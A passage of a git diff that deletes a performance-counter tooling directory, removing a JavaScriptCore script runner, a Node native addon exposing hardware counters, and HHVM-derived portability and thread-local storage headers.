-        *reinterpret_cast<std::pair<JSContextRef, JSObjectRef>*>(data);
-      JSContextRef context = pair.first;
-      JSObjectRef result = pair.second;
-
-      JSObjectSetProperty(
-        context,
-        result,
-        JSStringCreateWithUTF8CString(key.c_str()),
-        JSValueMakeNumber(context, value),
-        kJSPropertyAttributeNone,
-        NULL
-      );
-    },
-    &pair);
-
-  return result;
-}
-
-int main(int argc, char **argv) {
-  if (argc != 2) {
-    fprintf(stderr, "usage: jsc-runner file\n");
-    exit(1);
-  }
-
-  char *filename = argv[1];
-  std::ifstream ifs(filename);
-  if (ifs.fail()) {
-    std::cerr << "Error opening \"" << filename << "\": " << strerror(errno) << "\n";
-    exit(1);
-  }
-  std::string script(
-    (std::istreambuf_iterator<char>(ifs)),
-    (std::istreambuf_iterator<char>())
-  );
-  JSStringRef jsScript = JSStringCreateWithUTF8CString(script.c_str());
-  JSStringRef jsURL = JSStringCreateWithUTF8CString(argv[1]);
-
-  JSGlobalContextRef ctx = JSGlobalContextCreate(NULL);
-  add_native_hook(
-    ctx,
-    JSContextGetGlobalObject(ctx),
-    "print",
-    js_print
-  );
-
-  JSObjectRef jsPerfCounters = JSObjectMake(ctx, NULL, NULL);
-  add_native_hook(
-    ctx,
-    jsPerfCounters,
-    "init",
-    js_perf_counters_init
-  );
-  add_native_hook(
-    ctx,
-    jsPerfCounters,
-    "getCounters",
-    js_perf_counters_get_counters
-  );
-  JSObjectSetProperty(
-    ctx,
-    JSContextGetGlobalObject(ctx),
-    JSStringCreateWithUTF8CString("PerfCounters"),
-    jsPerfCounters,
-    kJSPropertyAttributeNone,
-    NULL
-  );
-
-  JSValueRef jsError = NULL;
-  JSValueRef result = JSEvaluateScript(
-    ctx,
-    jsScript,
-    NULL,
-    jsURL,
-    0,
-    &jsError
-  );
-  if (!result) {
-    fprintf(stderr, "Exception: ");
-    fprint_value(stderr, ctx, jsError);
-    fprintf(stderr, "\n");
-    JSStringRef jsStackStr = JSStringCreateWithUTF8CString("stack");
-    if (JSValueIsObject(ctx, jsError)) {
-      JSValueRef jsStack = JSObjectGetProperty(ctx, (JSObjectRef)jsError, jsStackStr, NULL);
-      JSStringRelease(jsStackStr);
-      fprint_value(stderr, ctx, jsStack);
-      fprintf(stderr, "\n");
-    }
-    exit(1);
-  }
-
-  JSGlobalContextRelease(ctx);
-}
diff --git a/scripts/perf-counters/src/perf-counters.cpp b/scripts/perf-counters/src/perf-counters.cpp
deleted file mode 100644
index c12603c639aa..000000000000
--- a/scripts/perf-counters/src/perf-counters.cpp
+++ /dev/null
@@ -1,53 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-#include <node.h>
-
-#include "hardware-counter.h"
-
-namespace PerfCounters {
-
-using HPHP::HardwareCounter;
-
-void Init(const v8::FunctionCallbackInfo<v8::Value>& args) {
-  // TODO: Allow customizing recorded events
-  bool enable = true;
-  std::string events = "";
-  bool recordSubprocesses = false;
-  HardwareCounter::Init(enable, events, recordSubprocesses);
-  HardwareCounter::s_counter.getCheck();
-}
-
-void GetCounters(const v8::FunctionCallbackInfo<v8::Value>& args) {
-  v8::Isolate* isolate = args.GetIsolate();
-  v8::Local<v8::Object> obj = v8::Object::New(isolate);
-  std::pair<v8::Isolate*, v8::Local<v8::Object>> pair(isolate, obj);
-
-  HardwareCounter::GetPerfEvents(
-    [](const std::string& key, int64_t value, void* data) {
-      std::pair<v8::Isolate*, v8::Local<v8::Object>>& pair =
-        *reinterpret_cast<std::pair<v8::Isolate*, v8::Local<v8::Object>>*>(data);
-      v8::Isolate* isolate = pair.first;
-      v8::Local<v8::Object> obj = pair.second;
-      obj->Set(
-        v8::String::NewFromUtf8(isolate, key.c_str()),
-        v8::Number::New(isolate, value)
-      );
-    },
-    &pair);
-
-  args.GetReturnValue().Set(obj);
-}
-
-void InitModule(v8::Local<v8::Object> exports) {
-  NODE_SET_METHOD(exports, "init", Init);
-  NODE_SET_METHOD(exports, "getCounters", GetCounters);
-}
-
-NODE_MODULE(perfcounters, InitModule)
-
-}
diff --git a/scripts/perf-counters/src/portability.h b/scripts/perf-counters/src/portability.h
deleted file mode 100644
index a7a46495c6f9..000000000000
--- a/scripts/perf-counters/src/portability.h
+++ /dev/null
@@ -1,184 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-#ifndef incl_HPHP_PORTABILITY_H_
-#define incl_HPHP_PORTABILITY_H_
-
-// From folly/Likely.h
-#if defined(__GNUC__) && __GNUC__ >= 4
-#define LIKELY(x)   (__builtin_expect((x), 1))
-#define UNLIKELY(x) (__builtin_expect((x), 0))
-#else
-#define LIKELY(x)   (x)
-#define UNLIKELY(x) (x)
-#endif
-
-//////////////////////////////////////////////////////////////////////
-
-/*
- * Various macros to make certain things conditional on either
- * compiler or architecture.
- *
- * Currently we don't *really* compile on anything other than gcc or
- * sometimes clang, and there are some parts of the code using
- * __attribute__ stuff directly, but some things go through these
- * macros to make it maybe easier to change later.
- */
-
-//////////////////////////////////////////////////////////////////////
-
-// TODO: does clang define __GNUC__ ?
-#ifndef __GNUC__
-# define __attribute__(x)
-#endif
-
-//////////////////////////////////////////////////////////////////////
-
-#ifdef ATTRIBUTE_UNUSED
-# undef ATTRIBUTE_UNUSED
-#endif
-#ifdef ATTRIBUTE_NORETURN
-# undef ATTRIBUTE_NORETURN
-#endif
-#ifdef ATTRIBUTE_PRINTF
-# undef ATTRIBUTE_PRINTF
-#endif
-#ifdef ATTRIBUTE_PRINTF_STRING
-# undef ATTRIBUTE_PRINTF_STRING
-#endif
-
-#define ATTRIBUTE_PRINTF_STRING FOLLY_PRINTF_FORMAT
-
-#ifdef _MSC_VER
-#define ATTRIBUTE_NORETURN __declspec(noreturn)
-#define ATTRIBUTE_PRINTF(a1, a2)
-#ifndef __thread
-# define __thread __declspec(thread)
-#endif
-#define ATTRIBUTE_UNUSED
-
-#define ALWAYS_INLINE __forceinline
-#define EXTERNALLY_VISIBLE
-#define FLATTEN
-#define NEVER_INLINE __declspec(noinline)
-#define UNUSED
-#else
-#define ATTRIBUTE_NORETURN __attribute__((__noreturn__))
-#define ATTRIBUTE_PRINTF(a1, a2) \
-  __attribute__((__format__ (__printf__, a1, a2)))
-#define ATTRIBUTE_UNUSED   __attribute__((__unused__))
-
-#define ALWAYS_INLINE      inline __attribute__((__always_inline__))
-#define EXTERNALLY_VISIBLE __attribute__((__externally_visible__))
-#define FLATTEN            __attribute__((__flatten__))
-#define NEVER_INLINE       __attribute__((__noinline__))
-#define UNUSED             __attribute__((__unused__))
-#endif
-
-#ifdef DEBUG
-# define DEBUG_ONLY /* nop */
-#else
-# define DEBUG_ONLY UNUSED
-#endif
-
-/*
- * We need to keep some unreferenced functions from being removed by
- * the linker. There is no compile time mechanism for doing this, but
- * by putting them in the same section as some other, referenced function
- * in the same file, we can keep them around.
- *
- * So this macro should be used to mark at least one function that is
- * referenced, and other functions that are not referenced in the same
- * file.
- *
- * Note: this may not work properly with LTO. We'll revisit when/if we
- * move to it.
- */
-#ifndef __APPLE__
-# define KEEP_SECTION \
-    __attribute__((__section__(".text.keep")))
-#else
-# define KEEP_SECTION \
-    __attribute__((__section__(".text,.text.keep")))
-#endif
-
-#if defined(__APPLE__)
-// OS X has a macro "isset" defined in this header. Force the include so we can
-// make sure the macro gets undef'd. (I think this also applies to BSD, but we
-// can cross that road when we come to it.)
-# include <sys/param.h>
-# ifdef isset
-#  undef isset
-# endif
-#endif
-
-//////////////////////////////////////////////////////////////////////
-
-#if defined(__x86_64__)
-
-# if defined(__clang__)
-#  define DECLARE_FRAME_POINTER(fp)               \
-    ActRec* fp;                                   \
-    asm volatile("mov %%rbp, %0" : "=r" (fp) ::)
-# else
-#  define DECLARE_FRAME_POINTER(fp) register ActRec* fp asm("rbp");
-# endif
-
-#elif defined(_M_X64)
-
-// TODO: FIXME! Without this implemented properly, the JIT
-// will fail "pretty spectacularly".
-# define DECLARE_FRAME_POINTER(fp) \
-  always_assert(false);            \
-  register ActRec* fp = nullptr;
-
-#elif defined(__AARCH64EL__)
-
-# if defined(__clang__)
-#  error Clang implementation not done for ARM
-# endif
-# define DECLARE_FRAME_POINTER(fp) register ActRec* fp asm("x29");
-
-#elif defined(__powerpc64__)
-
-# if defined(__clang__)
-#  error Clang implementation not done for PPC64
-# endif
-# define DECLARE_FRAME_POINTER(fp) register ActRec* fp = (ActRec*) __builtin_frame_address(0);
-
-#else
-
-# error What are the stack and frame pointers called on your architecture?
-
-#endif
-
-//////////////////////////////////////////////////////////////////////
-
-// We reserve the exit status 127 to signal a failure in the
-// interpreter. 127 is a valid exit code on all reasonable
-// architectures: POSIX requires at least 8 unsigned bits and
-// Windows 32 signed bits.
-#define HPHP_EXIT_FAILURE 127
-
-//////////////////////////////////////////////////////////////////////
-
-#if FACEBOOK
-// Linking in libbfd is a gigantic PITA. If you want this yourself in a non-FB
-// build, feel free to define HAVE_LIBBFD and specify the right options to link
-// in libbfd.a in the extra C++ options.
-#define HAVE_LIBBFD 1
-#endif
-
-#ifndef PACKAGE
-// The value doesn't matter, but it must be defined before you include
-// bfd.h
-#define PACKAGE "hhvm"
-#endif
-
-//////////////////////////////////////////////////////////////////////
-
-#endif
diff --git a/scripts/perf-counters/src/thread-local.cpp b/scripts/perf-counters/src/thread-local.cpp
deleted file mode 100644
index 7d4911491e93..000000000000
--- a/scripts/perf-counters/src/thread-local.cpp
+++ /dev/null
@@ -1,99 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-#include "thread-local.h"
-
-#ifdef __linux__
-#include <link.h>
-#include <asm/prctl.h>
-#include <sys/prctl.h>
-extern "C" {
-extern int arch_prctl(int, unsigned long*);
-}
-#endif //__linux__
-
-namespace HPHP {
-
-#ifdef USE_GCC_FAST_TLS
-
-void ThreadLocalManager::OnThreadExit(void* p) {
-  auto list = getList(p);
-  p = list->head;
-  delete list;
-  while (p != nullptr) {
-    auto* pNode = static_cast<ThreadLocalNode<void>*>(p);
-    if (pNode->m_on_thread_exit_fn) {
-      pNode->m_on_thread_exit_fn(p);
-    }
-    p = pNode->m_next;
-  }
-}
-
-void ThreadLocalManager::PushTop(void* nodePtr, size_t nodeSize) {
-  auto& node = *static_cast<ThreadLocalNode<void>*>(nodePtr);
-  auto key = GetManager().m_key;
-  auto list = getList(pthread_getspecific(key));
-  if (UNLIKELY(!list)) {
-    ThreadLocalSetValue(key, list = new ThreadLocalList);
-  }
-  node.m_next = list->head;
-  node.m_size = nodeSize;
-  list->head = node.m_next;
-}
-
-ThreadLocalManager& ThreadLocalManager::GetManager() {
-  static ThreadLocalManager m;
-  return m;
-}
-
-#ifdef __APPLE__
-ThreadLocalManager::ThreadLocalList::ThreadLocalList() {
-  pthread_t self = pthread_self();
-  handler.__routine = ThreadLocalManager::OnThreadExit;
-  handler.__arg = this;
-  handler.__next = self->__cleanup_stack;
-  self->__cleanup_stack = &handler;
-}
-#endif
-
-#endif
-
-#ifdef __linux__
-
-static int visit_phdr(dl_phdr_info* info, size_t, void*) {
-  for (size_t i = 0, n = info->dlpi_phnum; i < n; ++i) {
-    const auto& hdr = info->dlpi_phdr[i];
-    auto addr = info->dlpi_addr + hdr.p_vaddr;
-    if (addr < 0x100000000LL && hdr.p_type == PT_TLS) {
-      // found the main thread-local section
-      assert(int(hdr.p_memsz) == hdr.p_memsz); // ensure no truncation
-      return hdr.p_memsz;
-    }
-  }
-  return 0;
-}
-
-std::pair<void*,size_t> getCppTdata() {
-  uintptr_t addr;
-  if (!arch_prctl(ARCH_GET_FS, &addr)) {
-    // fs points to the end of the threadlocal area.
-    size_t size = dl_iterate_phdr(&visit_phdr, nullptr);
-    return {(void*)(addr - size), size};
-  }
-  return {nullptr, 0};
-}
-
-#else
-
-// how do you find the thread local section on your system?
-std::pair<void*,size_t> getCppTdata() {
-  return {nullptr, 0};
-}
-
-#endif //__linux__
-
-}
diff --git a/scripts/perf-counters/src/thread-local.h b/scripts/perf-counters/src/thread-local.h
deleted file mode 100644
index b288ceed3991..000000000000
--- a/scripts/perf-counters/src/thread-local.h
+++ /dev/null
@@ -1,760 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-#ifndef incl_HPHP_THREAD_LOCAL_H_
-#define incl_HPHP_THREAD_LOCAL_H_
-
-#include <assert.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <stdint.h>
-#include <pthread.h>
-#include <errno.h>
-#include <stdexcept>
-#include <type_traits>
-#include <utility>
-#include "portability.h"
-
-namespace HPHP {
-
-// return the location of the current thread's tdata section
-std::pair<void*,size_t> getCppTdata();
-
-inline uintptr_t tlsBase() {
-  uintptr_t retval;
-#if defined(__x86_64__)
-  asm ("movq %%fs:0, %0" : "=r" (retval));
-#elif defined(__AARCH64EL__)
-  // mrs == "move register <-- system"
-  // tpidr_el0 == "thread process id register for exception level 0"
-  asm ("mrs %0, tpidr_el0" : "=r" (retval));
-#elif defined (__powerpc64__)
-  asm ("xor %0,%0,%0\n\t"
-       "or  %0,%0,13\n\t"
-      : "=r" (retval));
-#elif defined(_M_X64)
-  retval = (uintptr_t)_readfsbase_u64();
-  retval = *(uintptr_t*)(retval + 88);
-#else
-# error How do you access thread-local storage on this machine?
-#endif
-  return retval;
-}
-
-///////////////////////////////////////////////////////////////////////////////
-// gcc >= 4.3.0 supports the '__thread' keyword for thread locals
-//
-// Clang seems to have added this feature, or at the very least it is ignoring
-// __thread keyword and compiling anyway
-//
-// On OSX, gcc does emulate TLS but in a manner that invalidates assumptions
-// we have made about __thread and makes accessing thread-local variables in a
-// JIT-friendly fashion difficult (as the compiler is doing a lot of magic that
-// is not contractual or documented that we would need to duplicate in emitted
-// code) so for now we're not going to use it. One possibility if we really
-// want to do this is to generate functions that access variables of interest
-// in ThreadLocal* (all of them are NoCheck right now) and use the bytes of
-// gcc's compiled functions to find the values we would need to pass to
-// __emutls_get_address.
-//
-// icc 13.0.0 appears to support it as well but we end up with
-// assembler warnings of unknown importance about incorrect section
-// types
-//
-// __thread on cygwin and mingw uses pthreads emulation not native tls so
-// the emulation for thread local must be used as well
-//
-// So we use __thread on gcc, icc and clang, unless we are on OSX. On OSX, we
-// use our own emulation. Use the DECLARE_THREAD_LOCAL() and
-// IMPLEMENT_THREAD_LOCAL() macros to access either __thread or the emulation
-// as appropriate.
-
-#if !defined(NO_TLS) &&                                       \
-    !defined(__CYGWIN__) && !defined(__MINGW__) &&            \
-   ((__llvm__ && __clang__) ||                                \
-   __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ > 3) ||   \
-   __INTEL_COMPILER || defined(_MSC_VER))
-#define USE_GCC_FAST_TLS
-#endif
-
-///////////////////////////////////////////////////////////////////////////////
-// helper
-
-inline void ThreadLocalCheckReturn(int ret, const char *funcName) {
-  if (ret != 0) {
-    // This is used from global constructors so the safest thing to do is just
-    // print to stderr and exit().
-    fprintf(stderr, "%s returned %d", funcName, ret);
-    exit(1);
-  }
-}
-
-inline void ThreadLocalCreateKey(pthread_key_t *key, void (*del)(void*)) {
-  int ret = pthread_key_create(key, del);
-  ThreadLocalCheckReturn(ret, "pthread_key_create");
-}
-
-inline void ThreadLocalSetValue(pthread_key_t key, const void* value) {
-  int ret = pthread_setspecific(key, value);
-  ThreadLocalCheckReturn(ret, "pthread_setspecific");
-}
-
-#ifdef __APPLE__
-typedef struct __darwin_pthread_handler_rec darwin_pthread_handler;
-#endif
-
-///////////////////////////////////////////////////////////////////////////////
-
-/**
- * A thread-local object is a "global" object within a thread. This is useful
- * for writing apartment-threaded code, where nothing is actually shared
- * between different threads (hence no locking) but those variables are not
- * on stack in local scope. To use it, just do something like this,
- *
- *   IMPLEMENT_THREAD_LOCAL(MyClass, static_object);
- *     static_object->data_ = ...;
- *     static_object->doSomething();
- *
- *   IMPLEMENT_THREAD_LOCAL(int, static_number);
- *     int value = *static_number;
- *
- * So, syntax-wise it's similar to pointers. The type parameter can be a
- * primitive types. If it's a class, there has to be a default constructor.
- */
-
-///////////////////////////////////////////////////////////////////////////////
-#if defined(USE_GCC_FAST_TLS)
-
-/**
- * We keep a linked list of destructors in ThreadLocalManager to be called on
- * thread exit. ThreadLocalNode is a node in this list.
- */
-template <typename T>
-struct ThreadLocalNode {
-  T * m_p;
-  void (*m_on_thread_exit_fn)(void * p);
-  void * m_next;
-  size_t m_size;
-};
-
-struct ThreadLocalManager {
-  template<class T>
-  static void PushTop(ThreadLocalNode<T>& node) {
-    PushTop(&node, sizeof(T));
-  }
-  template<class F> void scan(F& mark) const;
-
-private:
-  static void PushTop(void* node, size_t size);
-  struct ThreadLocalList {
-    void* head{nullptr};
-#ifdef __APPLE__
-    ThreadLocalList();
-    darwin_pthread_handler handler;
-#endif
-  };
-  static ThreadLocalList* getList(void* p) {
-    return static_cast<ThreadLocalList*>(p);
-  }
-  ThreadLocalManager() : m_key(0) {
-#ifdef __APPLE__
-    ThreadLocalCreateKey(&m_key, nullptr);
-#else
-    ThreadLocalCreateKey(&m_key, ThreadLocalManager::OnThreadExit);
-#endif
-  };
-  static void OnThreadExit(void *p);
-  pthread_key_t m_key;
-
-  static ThreadLocalManager& GetManager();
-};
-
-///////////////////////////////////////////////////////////////////////////////
-// ThreadLocal allocates by calling new without parameters and frees by calling
-// delete
-
-template<typename T>
-void ThreadLocalOnThreadExit(void * p) {
-  ThreadLocalNode<T> * pNode = (ThreadLocalNode<T>*)p;
-  delete pNode->m_p;
-  pNode->m_p = nullptr;
-}
-
-/**
- * The USE_GCC_FAST_TLS implementation of ThreadLocal is just a lazy-initialized
- * pointer wrapper. In this case, we have one ThreadLocal object per thread.
- */
-template<typename T>
-struct ThreadLocal {
-  T *get() const {
-    if (m_node.m_p == nullptr) {
-      const_cast<ThreadLocal<T>*>(this)->create();
-    }
-    return m_node.m_p;
-  }
-
-  NEVER_INLINE void create();
-
-  bool isNull() const { return m_node.m_p == nullptr; }
-
-  void destroy() {
-    delete m_node.m_p;
-    m_node.m_p = nullptr;
-  }
-
-  void nullOut() {
-    m_node.m_p = nullptr;
-  }
-
-  T *operator->() const {
-    return get();
-  }
-
-  T &operator*() const {
-    return *get();
-  }
-
-  ThreadLocalNode<T> m_node;
-};
-
-template<typename T>
-void ThreadLocal<T>::create() {
-  if (m_node.m_on_thread_exit_fn == nullptr) {
-    m_node.m_on_thread_exit_fn = ThreadLocalOnThreadExit<T>;
-    ThreadLocalManager::PushTop(m_node);
-  }
-  assert(m_node.m_p == nullptr);
-  m_node.m_p = new T();
-}
-
-/**
- * ThreadLocalNoCheck is a pointer wrapper like ThreadLocal, except that it is
- * explicitly initialized with getCheck(), rather than being initialized when
- * it is first dereferenced.
- */
-template<typename T>
-struct ThreadLocalNoCheck {
-  NEVER_INLINE T *getCheck() const;
-  T* getNoCheck() const {
-    assert(m_node.m_p);
-    return m_node.m_p;
-  }
-
-  NEVER_INLINE void create();
-
-  bool isNull() const { return m_node.m_p == nullptr; }
-
-  void destroy() {
-    delete m_node.m_p;
-    m_node.m_p = nullptr;
-  }
-
-  T *operator->() const {
-    return getNoCheck();
-  }
-
-  T &operator*() const {
-    return *getNoCheck();
-  }
-
-  ThreadLocalNode<T> m_node;
-private:
-  void setNull() { m_node.m_p = nullptr; }
-};
-
-template<typename T>
-void ThreadLocalNoCheck<T>::create() {
-  if (m_node.m_on_thread_exit_fn == nullptr) {
-    m_node.m_on_thread_exit_fn = ThreadLocalOnThreadExit<T>;
-    ThreadLocalManager::PushTop(m_node);
-  }
-  assert(m_node.m_p == nullptr);
-  m_node.m_p = new T();
-}
-template<typename T>
-T *ThreadLocalNoCheck<T>::getCheck() const {
-  if (m_node.m_p == nullptr) {
-    const_cast<ThreadLocalNoCheck<T>*>(this)->create();
-  }
-  return m_node.m_p;
-}
-
-
-///////////////////////////////////////////////////////////////////////////////
-// Singleton thread-local storage for T
-
-template<typename T>
-void ThreadLocalSingletonOnThreadExit(void *obj) {
-  T::OnThreadExit((T*)obj);
-}
-
-// ThreadLocalSingleton has NoCheck property
-template <typename T>
-class ThreadLocalSingleton {
-public:
-  ThreadLocalSingleton() { s_inited = true; }
-
-  NEVER_INLINE static T *getCheck();
-
-  static T* getNoCheck() {
-    assert(s_inited);
-    assert(s_singleton == (T*)&s_storage);
-    return (T*)&s_storage;
-  }
-
-  static bool isNull() { return s_singleton == nullptr; }
-
-  static void destroy() {
-    assert(!s_singleton || s_singleton == (T*)&s_storage);
-    T* p = s_singleton;
-    if (p) {
-      T::Delete(p);
-      s_singleton = nullptr;
-    }
-  }
-
-  T *operator->() const {
-    return getNoCheck();
-  }
-
-  T &operator*() const {
-    return *getNoCheck();
-  }
-
-private:
-  static __thread T *s_singleton;
-  typedef typename std::aligned_storage<sizeof(T), sizeof(void*)>::type
-          StorageType;
-  static __thread StorageType s_storage;
-  static bool s_inited; // no-fast-TLS requires construction so be consistent
-};
-
-template<typename T>
-bool ThreadLocalSingleton<T>::s_inited = false;
-
-template<typename T>
-T *ThreadLocalSingleton<T>::getCheck() {
-  assert(s_inited);
-  if (!s_singleton) {
-    T* p = (T*) &s_storage;
-    T::Create(p);
-    s_singleton = p;
-  }
-  return s_singleton;
-}
-
-template<typename T> __thread T *ThreadLocalSingleton<T>::s_singleton;
-template<typename T> __thread typename ThreadLocalSingleton<T>::StorageType
-                              ThreadLocalSingleton<T>::s_storage;
-
-
-///////////////////////////////////////////////////////////////////////////////
-// some classes don't need new/delete at all
-
-template<typename T, bool throwOnNull = true>
-struct ThreadLocalProxy {
-  T *get() const {
-    if (m_p == nullptr && throwOnNull) {
-      throw std::runtime_error("ThreadLocalProxy::get() called before set()");
-    }
-    return m_p;
-  }
-
-  void set(T* obj) {
-    m_p = obj;
-  }
-
-  bool isNull() const { return m_p == nullptr; }
-
-  void destroy() {
-    m_p = nullptr;
-  }
-
-  T *operator->() const {
-    return get();
-  }
-
-  T &operator*() const {
-    return *get();
-  }
-
-  T * m_p;
-};
-
-/*
- * How to use the thread-local macros:
- *
- * Use DECLARE_THREAD_LOCAL to declare a *static* class field as thread local:
- *   class SomeClass {
- *     static DECLARE_THREAD_LOCAL(SomeFieldType, f);
- *   }
- *
- * Use IMPLEMENT_THREAD_LOCAL in the cpp file to implement the field:
- *   IMPLEMENT_THREAD_LOCAL(SomeFieldType, SomeClass::f);
- *
- * Remember: *Never* write IMPLEMENT_THREAD_LOCAL in a header file.
- */
-
-#define DECLARE_THREAD_LOCAL(T, f) \
-  __thread HPHP::ThreadLocal<T> f
-#define IMPLEMENT_THREAD_LOCAL(T, f) \
-  __thread HPHP::ThreadLocal<T> f
-
-#define DECLARE_THREAD_LOCAL_NO_CHECK(T, f) \
-  __thread HPHP::ThreadLocalNoCheck<T> f
-#define IMPLEMENT_THREAD_LOCAL_NO_CHECK(T, f) \
-  __thread HPHP::ThreadLocalNoCheck<T> f
-
-#define DECLARE_THREAD_LOCAL_PROXY(T, N, f) \
-  __thread HPHP::ThreadLocalProxy<T, N> f
-#define IMPLEMENT_THREAD_LOCAL_PROXY(T, N, f) \
-  __thread HPHP::ThreadLocalProxy<T, N> f
-
-#else /* USE_GCC_FAST_TLS */
-
-///////////////////////////////////////////////////////////////////////////////
-// ThreadLocal allocates by calling new() without parameters
-
-template<typename T>
-void ThreadLocalOnThreadExit(void *p) {
-  delete (T*)p;
-}
-
-#ifdef __APPLE__
-// The __thread variables in class T will be freed when pthread calls
-// the destructor function on Mac. We can register a handler in
-// pthread_t->__cleanup_stack similar to pthread_cleanup_push(). The handler
-// will be called earlier so the __thread variables will still exist in the
-// handler when the thread exits.
-//
-// See the details at:
-// https://github.com/facebook/hhvm/issues/4444#issuecomment-92497582
-typedef struct __darwin_pthread_handler_rec darwin_pthread_handler;
-
-template<typename T>
-void ThreadLocalOnThreadCleanup(void *key) {
-  void *obj = pthread_getspecific((pthread_key_t)key);
-  if (obj) {
-    ThreadLocalOnThreadExit<T>(obj);
-  }
-}
-
-inline void ThreadLocalSetCleanupHandler(pthread_key_t cleanup_key,
-                                         pthread_key_t key,
-                                         void (*del)(void*)) {
-  // Prevent from adding the handler for multiple times.
-  darwin_pthread_handler *handler =
-      (darwin_pthread_handler*)pthread_getspecific(cleanup_key);
-  if (handler)
-    return;
-
-  pthread_t self = pthread_self();
-
-  handler = new darwin_pthread_handler();
-  handler->__routine = del;
-  handler->__arg = (void*)key;
-  handler->__next = self->__cleanup_stack;
-  self->__cleanup_stack = handler;
-
-  ThreadLocalSetValue(cleanup_key, handler);
-}
-#endif
-
-/**
- * This is the emulation version of ThreadLocal. In this case, the ThreadLocal
- * object is a true global, and the get() method returns a thread-dependent
- * pointer from pthread's thread-specific data management.
- */
-template<typename T>
-class ThreadLocal {
-public:
-  /**
-   * Constructor that has to be called from a thread-neutral place.
-   */
-  ThreadLocal() : m_key(0) {
-#ifdef __APPLE__
-    ThreadLocalCreateKey(&m_key, nullptr);
-    ThreadLocalCreateKey(&m_cleanup_key,
-                         ThreadLocalOnThreadExit<darwin_pthread_handler>);
-#else
-    ThreadLocalCreateKey(&m_key, ThreadLocalOnThreadExit<T>);
-#endif
-  }
-
-  T *get() const {
-    T *obj = (T*)pthread_getspecific(m_key);
-    if (obj == nullptr) {
-      obj = new T();
-      ThreadLocalSetValue(m_key, obj);
-#ifdef __APPLE__
-      ThreadLocalSetCleanupHandler(m_cleanup_key, m_key,
-                                   ThreadLocalOnThreadCleanup<T>);
-#endif
-    }
-    return obj;
-  }
-
-  bool isNull() const { return pthread_getspecific(m_key) == nullptr; }
-
-  void destroy() {
-    delete (T*)pthread_getspecific(m_key);
-    ThreadLocalSetValue(m_key, nullptr);
-  }
-
-  void nullOut() {
-    ThreadLocalSetValue(m_key, nullptr);
-  }
-
-  /**
-   * Access object's member or method through this operator overload.
-   */
-  T *operator->() const {
-    return get();
-  }
-
-  T &operator*() const {
-    return *get();
-  }
-
-private:
-  pthread_key_t m_key;
-
-#ifdef __APPLE__
-  pthread_key_t m_cleanup_key;
-#endif
-};
-
-template<typename T>
-class ThreadLocalNoCheck {
-public:
-  /**
-   * Constructor that has to be called from a thread-neutral place.
-   */
-  ThreadLocalNoCheck() : m_key(0) {
-#ifdef __APPLE__
-    ThreadLocalCreateKey(&m_key, nullptr);
-    ThreadLocalCreateKey(&m_cleanup_key,
-                         ThreadLocalOnThreadExit<darwin_pthread_handler>);
-#else
-    ThreadLocalCreateKey(&m_key, ThreadLocalOnThreadExit<T>);
-#endif
-  }
-
-  NEVER_INLINE T *getCheck() const;
-
-  T* getNoCheck() const {
-    T *obj = (T*)pthread_getspecific(m_key);
-    assert(obj);
-    return obj;
-  }
-
-  bool isNull() const { return pthread_getspecific(m_key) == nullptr; }
-
-  void destroy() {
-    delete (T*)pthread_getspecific(m_key);
-    ThreadLocalSetValue(m_key, nullptr);
-  }
-
-  /**
-   * Access object's member or method through this operator overload.
-   */
-  T *operator->() const {
-    return getNoCheck();
-  }
-
-  T &operator*() const {
-    return *getNoCheck();
-  }
-
-public:
-  void setNull() { ThreadLocalSetValue(m_key, nullptr); }
-  pthread_key_t m_key;
-
-#ifdef __APPLE__
-  pthread_key_t m_cleanup_key;
-#endif
-};
-
-template<typename T>
-T *ThreadLocalNoCheck<T>::getCheck() const {
-  T *obj = (T*)pthread_getspecific(m_key);
-  if (obj == nullptr) {
-    obj = new T();
-    ThreadLocalSetValue(m_key, obj);
-#ifdef __APPLE__
-    ThreadLocalSetCleanupHandler(m_cleanup_key, m_key,
-                                 ThreadLocalOnThreadCleanup<T>);
-#endif
-  }
-  return obj;
-}
-
-///////////////////////////////////////////////////////////////////////////////
-// Singleton thread-local storage for T
-
-template<typename T>
-void ThreadLocalSingletonOnThreadExit(void *obj) {
-  T::OnThreadExit((T*)obj);
-  free(obj);
-}
-
-#ifdef __APPLE__
-template<typename T>
-void ThreadLocalSingletonOnThreadCleanup(void *key) {
-  void *obj = pthread_getspecific((pthread_key_t)key);
-  if (obj) {
-    ThreadLocalSingletonOnThreadExit<T>(obj);
-  }
-}
-#endif
-
-// ThreadLocalSingleton has NoCheck property
-template<typename T>
-class ThreadLocalSingleton {
-public:
-  ThreadLocalSingleton() { getKey(); }
-
-  NEVER_INLINE static T *getCheck();
-  static T* getNoCheck() {
-    assert(s_inited);
-    T *obj = (T*)pthread_getspecific(s_key);
-    assert(obj);
-    return obj;
-  }
-
-  static bool isNull() {
-    return !s_inited || pthread_getspecific(s_key) == nullptr;
-  }
-
-  static void destroy() {
-    void* p = pthread_getspecific(s_key);
-    T::Delete((T*)p);
-    free(p);
-    ThreadLocalSetValue(s_key, nullptr);
-  }
-
-  T *operator->() const {
-    return getNoCheck();
-  }
-
-  T &operator*() const {
-    return *getNoCheck();
-  }
-
-private:
-  static pthread_key_t s_key;
-  static bool s_inited; // pthread_key_t has no portable valid sentinel
-
-#ifdef __APPLE__
-  static pthread_key_t s_cleanup_key;
-#endif
-
-  static pthread_key_t getKey() {
-    if (!s_inited) {
-      s_inited = true;
-#ifdef __APPLE__
-      ThreadLocalCreateKey(&s_key, nullptr);
-      ThreadLocalCreateKey(&s_cleanup_key,
-                           ThreadLocalOnThreadExit<darwin_pthread_handler>);
-#else
-      ThreadLocalCreateKey(&s_key, ThreadLocalSingletonOnThreadExit<T>);
-#endif
-    }
-    return s_key;
-  }
-};
-
-template<typename T>
-T *ThreadLocalSingleton<T>::getCheck() {
